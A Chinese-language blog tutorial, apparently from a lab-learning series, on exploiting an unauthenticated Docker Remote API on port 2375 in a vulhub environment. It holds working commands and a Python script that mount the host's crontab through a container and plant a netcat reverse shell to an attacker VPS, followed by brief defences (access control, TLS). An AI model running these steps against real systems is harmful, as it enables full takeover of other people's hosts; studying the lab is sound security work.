未授权访问:Docker未授权访问漏洞

目录

1、漏洞原理

2、环境搭建

3、未授权访问

4、通过crontab反弹宿主机shell

防御手段


今天继续学习各种未授权访问的知识和相关的实操实验,一共有好多篇,内容主要是参考先知社区的一位大佬的关于未授权访问的好文章,还有其他大佬总结好的文章:

这里附上大佬的好文章链接:常见未授权访问漏洞总结 - 先知社区

我在这只是学习大佬总结好的相关的知识和实操实验,那么废话不多说,开整。

第六篇是关于Docker的未授权访问

1、漏洞原理

Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。

开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台Docker。

Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。

存在问题的版本分别为 1.3 和 1.6因为权限控制等问题导致可以通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell。

2、环境搭建

# 下载环境
mkdir docker
cd docker 
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/Dockerfile
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-compose.yml
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-entrypoint.sh
​
#或者利用DownGit下载https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce
DownGit网址:https://minhaskamal.github.io/DownGit/#/home

 下载漏洞环境:

chmod 777 docker-entrypoint.sh # 给docker-entrypoint.sh权限
docker-compose build && docker-compose up -d # 编译并启动环境

 注:我的拉取环境好慢哟

但是最终还是拉取成功了

3、未授权访问

docker -H tcp://192.168.15.5:2375 version

可以看到成功的未授权访问到了版本信息

4、通过crontab反弹宿主机shell

下列操作均在攻击机上进行的操作:

vps监听9999端口

nc -lvnp 9999

启动容器 

docker -H tcp://192.168.15.5:2375 run -id -v /etc/crontabs:/tmp alpine:latest
docker -H tcp://192.168.15.5:2375 ps

 进入容器

docker -H tcp://192.168.15.5:2375 exec -it a8ff7ed880fb sh 

添加任务计划

echo '* * * * * /usr/bin/nc {vps_ip} 9999 -e /bin/sh' >> /tmp/root #添加计划任务
​
cat /tmp/root # 查看/tmp/root 文件
​
exit #退出容器

反弹宿主机shell

 

可以看到攻击机(192.168,159.200)成功的反弹了ubuntu主机(192.168.159.202)的shell

也可以直接利用python脚本

import docker
​
client = docker.DockerClient(base_url='http://{target_ip}:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc {vps_ip} 9999 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

防御手段

  • -简单粗暴的方法,对2375端口做网络访问控制,如ACL控制,或者访问规则。
  • -修改docker swarm的认证方式,使用TLS认证:Overview Swarm with TLS 和 Configure Docker Swarm for TLS这两篇文档,说的是配置好TLS后,Docker CLI 在发送命令到docker daemon之前,会首先发送它的证书,如果证书是由daemon信任的CA所签名的,才可以继续执行。

到此,docker未授权访问最基础的知识也就学习完了,后面还有很多的未授权的知识等着我去学习,下次见(*^▽^*)

  • 43
    点赞
  • 34
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

未知百分百

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值